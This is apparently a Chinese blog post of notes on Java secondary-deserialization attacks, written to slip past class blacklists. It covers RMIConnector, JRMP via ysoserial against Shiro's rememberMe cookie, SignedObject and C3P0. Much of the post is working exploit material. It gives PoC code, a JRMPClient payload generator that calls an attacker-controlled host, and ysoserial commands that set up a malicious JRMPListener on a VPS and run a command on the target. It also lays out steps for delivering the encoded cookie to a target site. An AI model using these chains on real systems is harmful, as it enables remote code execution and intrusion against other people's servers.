常用的二次反序列化攻击

一些链被黑名单ban了,可以用二次反序列化绕过,比如JRMP

RMIConnector

适用于服务器不出网的情况

链子:

1
2
RMIConnector#connect ->
findRMIServer ->findRMIServerJRMP

RMIConnector#findRMIServerJRMP对传入的base64字符串进行了反序列化

image-20250827094524982

这种接收字符串,再进行反序列化的方式,很明显是个二次反序列化的点,能绕过对原始对象的resolveClass黑名单

查找用法仅findRMIServer调用到了

image-20250827094706778

这里调用findRMIServerJRMP需要path以/stub/开头

image-20250827094745911

在connect方法中,如果rmiServer字段为空,,则会调用findRMIServer,而且connect是个public方法

image-20250827094843635

那么以下面的poc就能实现反序列化base64字符串:

1
2
3
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");  
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

JRMP

JDK<8U241

JRMP打RMI,在ysoserial/exploit中,JRMPClient能利用非RMI服务(如Shiro)开RMI服务,然后用exploit/JRMPLister打RMI服务

特征:

1
2
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
RemoteInterface remoteImpl = (RemoteInterface) registry.lookup("remoteImpl");//lookup可被控制

Usage:

攻击者先在 vps上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:

1
java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"

然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):

1
java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser

再用 shiro 编码脚本对 JRMPClient payload 进行编码:

1
java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行。

适用于出网情况,而且需要jdk<8u231的情况下,用原始的payload,8u241可以绕过,之后就不能打了(没测试过,也许不是?遇到了再来改)

https://godownio.github.io/2024/09/20/rmi-san-duan-jrmp-ji-qi-gao-ban-ben-rao-guo/#RMI%E6%94%BB%E5%87%BB%E9%AB%98%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87

可以用ysoserial生成对应的JRMPClient,不过需要对原始数据进行绕过的话,还是得自己写JRMPClient

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import sun.rmi.server.UnicastRef;  
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class Exp3 {
public static void main(String[] args) throws Exception {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("ip", 23333);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Exp3.class.getClassLoader(), new Class[]{
Registry.class
}, obj);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(proxy);
oos.close();

System.out.println(Utils.bytesTohexString(barr.toByteArray()));
}
}

也就是个rmi连接,访问Registry的代码

想办法在目标机器执行这个代码就行

具体请见XStream 1.4.16的rmi打法

SignedObject

SignedObject.getObject能反序列化this.content:

content能在构造函数赋值

适用于嵌套解析的resolveClass黑名单,比如Fastjson>=1.2.49

JSONObject重写的resolveClass,加入checkAutoType验证黑名单

也适用于不能触发readObject而不能初始化TemplatesImpl _tfactory字段的场景,比如自定义反序列化流程的Hessian、Kryo等

code:

1
2
3
4
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));

然后调用signedObject.getObject

C3P0

漏洞入口位于com.mchange.v2.ser.C3P0ImplUtils.parseUserridesAsString

parseUserridesAsString对传入的参数userOverridesAsString字符串处理如下:

  1. HASM_HEADER长度开始,截取到userOverridesAsString的末尾

HASM_HEADER为HexAsciiSerializedMap

  1. 调用ByteUtils.fromHexAscii把截取的十六进制字符串转为二进制
  2. 调用SerializableUtils.fromByteArray反序列化字节码

向parseUserOverridesAsString传参HexAsciiSerializedMap+恶意十六进制字节码就能二次反序列化

上一篇:
tabby & codeQL分析含依赖JAR包
下一篇:
DispatcherServlet.doDispatch请求分发详解